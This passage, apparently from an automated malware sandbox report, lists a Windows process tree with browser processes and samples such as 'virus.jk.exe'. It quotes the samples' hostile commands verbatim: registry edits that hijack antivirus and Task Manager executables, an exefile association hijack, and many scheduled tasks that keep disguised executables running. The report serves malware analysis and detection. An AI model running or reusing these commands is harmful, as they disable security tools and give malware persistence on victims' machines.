        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7fffe1fb3cb8,0x7fffe1fb3cc8,0x7fffe1fb3cd8
        5⤵
        
        PID:7268
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2004,11091328140392940391,1700653723674876633,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2012 /prefetch:3
        5⤵
        
        PID:7328
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/watch?v=EQqgmlXLhF4
      4⤵
      PID:2568
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7fffe1fb3cb8,0x7fffe1fb3cc8,0x7fffe1fb3cd8
        5⤵
        
        PID:8580
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1976,6558848585071729540,14061141817250750744,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1988 /prefetch:3
        5⤵
        
        PID:3692
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/watch?v=PTt19B5_V3I
      4⤵
      PID:8260
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7fffe1fb3cb8,0x7fffe1fb3cc8,0x7fffe1fb3cd8
        5⤵
        
        PID:7236
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2020,530828251544311648,2680780089341265056,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2032 /prefetch:2
        5⤵
        
        PID:5992
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2020,530828251544311648,2680780089341265056,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 /prefetch:3
        5⤵
        
        PID:5424
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2020,530828251544311648,2680780089341265056,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2692 /prefetch:8
        5⤵
        
        PID:9184
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,530828251544311648,2680780089341265056,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3296 /prefetch:1
        5⤵
        
        PID:8788
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,530828251544311648,2680780089341265056,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3320 /prefetch:1
        5⤵
        
        PID:8204
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,530828251544311648,2680780089341265056,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3980 /prefetch:1
        5⤵
        
        PID:476
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,530828251544311648,2680780089341265056,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5132 /prefetch:1
        5⤵
        
        PID:6816
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,530828251544311648,2680780089341265056,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5152 /prefetch:1
        5⤵
        
        PID:6916
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,530828251544311648,2680780089341265056,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5828 /prefetch:1
        5⤵
        
        PID:5076
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,530828251544311648,2680780089341265056,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3412 /prefetch:1
        5⤵
        
        PID:7412
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/watch?v=tpedaZ0_yyQ
      4⤵
      PID:6356
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7fffe1fb3cb8,0x7fffe1fb3cc8,0x7fffe1fb3cd8
        5⤵
        
        PID:7660
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2000,8265862968917259422,4316757432200538489,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2012 /prefetch:2
        5⤵
        
        PID:7584
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2000,8265862968917259422,4316757432200538489,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 /prefetch:3
        5⤵
        
        PID:7864
  - - C:\Windows\SysWOW64\diskpart.exe
      diskpart
      4⤵
      PID:7968
  - - C:\Windows\SysWOW64\explorer.exe
      explorer
      4⤵
      PID:9172
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/watch?v=ZaFd5xdunKI
      4⤵
      PID:2472
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7fffe1fb3cb8,0x7fffe1fb3cc8,0x7fffe1fb3cd8
        5⤵
        
        PID:4712
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      4⤵
      PID:8816
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/watch?v=YB0NwvJY39o
      4⤵
      PID:5972
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7fffe1fb3cb8,0x7fffe1fb3cc8,0x7fffe1fb3cd8
        5⤵
        
        PID:7356
  - - C:\Windows\SysWOW64\explorer.exe
      explorer
      4⤵
      PID:6048
- - C:\Program Files (x86)\vbc.exe
    "C:\Program Files (x86)\vbc.exe"
    3⤵
    PID:864
  - - C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe
      C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe C:\Users\Admin\AppData\Local\Temp\jplmbcuny
      4⤵
      PID:4140
    - - C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe
        
        C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe C:\Users\Admin\AppData\Local\Temp\jplmbcuny
        5⤵
        
        PID:5140
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4140 -s 596
        5⤵
        Program crash
        
        PID:5744
- - C:\Program Files (x86)\virus.jk.exe
    "C:\Program Files (x86)\virus.jk.exe"
    3⤵
    PID:1196
  - - C:\Program Files (x86)\virus.jk.jk.exe
      "C:\Program Files (x86)\virus.jk.jk.exe"
      4⤵
      PID:5708
    - - C:\NH-Helper.exe
        
        C:\NH-Helper.exe
        5⤵
        
        PID:6104
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\123.bat
        6⤵
        
        PID:2636
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
        7⤵
        
        PID:1280
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
        7⤵
        
        PID:6072
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
        7⤵
        
        PID:6672
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe
        6⤵
        
        PID:2268
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C ftype exefile=C:\Program Files (x86)\virus.jk.jk.exe %1
        5⤵
        
        PID:2188
    - - C:\J-V-C.EXE
        
        C:\J-V-C.EXE
        5⤵
        
        PID:5240

C:\Windows\helppane.exe
C:\Windows\helppane.exe -Embedding
1⤵
PID:3916
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument microsoft-edge:https://go.microsoft.com/fwlink/?LinkId=528881
  2⤵
  PID:5196
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7fffe1373cb8,0x7fffe1373cc8,0x7fffe1373cd8
    3⤵
    PID:5232
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument microsoft-edge:https://go.microsoft.com/fwlink/?LinkId=528881
  2⤵
  PID:5900
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7fffe1fb3cb8,0x7fffe1fb3cc8,0x7fffe1fb3cd8
    3⤵
    PID:6048
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2044,15605729368171014359,1674067227827860576,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2056 /prefetch:2
    3⤵
    PID:4660
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2044,15605729368171014359,1674067227827860576,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2104 /prefetch:3
    3⤵
    PID:4048
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2044,15605729368171014359,1674067227827860576,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1388 /prefetch:8
    3⤵
    PID:5664
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,15605729368171014359,1674067227827860576,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3256 /prefetch:1
    3⤵
    PID:3436
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,15605729368171014359,1674067227827860576,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3264 /prefetch:1
    3⤵
    PID:4468
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,15605729368171014359,1674067227827860576,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4888 /prefetch:1
    3⤵
    PID:7020
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,15605729368171014359,1674067227827860576,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6072 /prefetch:1
    3⤵
    PID:2828
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,15605729368171014359,1674067227827860576,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5636 /prefetch:1
    3⤵
    PID:3376
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,15605729368171014359,1674067227827860576,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3064 /prefetch:1
    3⤵
    PID:6836
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,15605729368171014359,1674067227827860576,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6100 /prefetch:1
    3⤵
    PID:4928
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,15605729368171014359,1674067227827860576,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6564 /prefetch:1
    3⤵
    PID:6912
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,15605729368171014359,1674067227827860576,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6696 /prefetch:1
    3⤵
    PID:4044
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2044,15605729368171014359,1674067227827860576,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=6424 /prefetch:8
    3⤵
    PID:6252
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,15605729368171014359,1674067227827860576,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5204 /prefetch:1
    3⤵
    PID:2552
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,15605729368171014359,1674067227827860576,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7364 /prefetch:1
    3⤵
    PID:8728
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,15605729368171014359,1674067227827860576,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7180 /prefetch:1
    3⤵
    PID:2544
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,15605729368171014359,1674067227827860576,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7628 /prefetch:1
    3⤵
    PID:4356

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "5e710462c65fe899466e4fb7c1e33c9a5" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\5e710462c65fe899466e4fb7c1e33c9a.exe'" /f
1⤵
- Process spawned unexpected child process
PID:1784

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae935535" /sc MINUTE /mo 11 /tr "'C:\Program Files\WindowsPowerShell\Configuration\57ccb6f0bd910fed428761828ae93553.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2636

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "5e710462c65fe899466e4fb7c1e33c9a" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\5e710462c65fe899466e4fb7c1e33c9a.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:3584

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "5e710462c65fe899466e4fb7c1e33c9a5" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\5e710462c65fe899466e4fb7c1e33c9a.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:2716

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae93553" /sc ONLOGON /tr "'C:\Program Files\WindowsPowerShell\Configuration\57ccb6f0bd910fed428761828ae93553.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:972

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 13 /tr "'C:\Program Files\VideoLAN\VLC\hrtfs\services.exe'" /f
1⤵
- Process spawned unexpected child process
PID:1516

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae935535" /sc MINUTE /mo 14 /tr "'C:\Program Files\WindowsPowerShell\Configuration\57ccb6f0bd910fed428761828ae93553.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4824

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\Program Files\VideoLAN\VLC\hrtfs\services.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:380

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 8 /tr "'C:\Users\Default\Application Data\Registry.exe'" /f
1⤵
- Process spawned unexpected child process
PID:2188

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\Users\Default\Application Data\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4308

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 7 /tr "'C:\Program Files\VideoLAN\VLC\hrtfs\services.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1788

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "73c1c41b9e71c48e752a5cd19fe808b67" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\73c1c41b9e71c48e752a5cd19fe808b6.exe'" /f
1⤵
- Process spawned unexpected child process
PID:2636

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 5 /tr "'C:\Users\Default\Application Data\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:2220

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 12 /tr "'C:\Users\Default\Downloads\dwm.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2208

C:\Windows\system32\schtasks.exe
